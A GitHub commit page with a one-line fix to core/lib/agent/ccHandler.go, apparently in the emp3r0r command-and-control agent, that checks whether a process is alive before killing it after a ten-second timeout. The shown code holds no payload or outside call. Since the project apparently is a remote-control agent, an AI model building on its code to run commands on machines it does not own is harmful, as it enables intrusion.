Skip to content

Commit

Permalink
fix: killing non-existent processes
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Sep 28, 2022
1 parent 7417076 commit 03fdf33
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion core/lib/agent/ccHandler.go
Original file line number Diff line number Diff line change
Expand Up @@ -276,7 +276,7 @@ func processCCData(data *emp3r0r_data.MsgTunData) {
for i := 0; i < 10; i++ {
time.Sleep(time.Second)
}
if !keep_running {
if !keep_running && util.IsPIDAlive(cmd.Process.Pid) {
err = cmd.Process.Kill()
out = fmt.Sprintf("Killing %d, which has been running for more than 10s, status %v",
cmd.Process.Pid, err)
Expand Down

0 comments on commit 03fdf33

Please sign in to comment.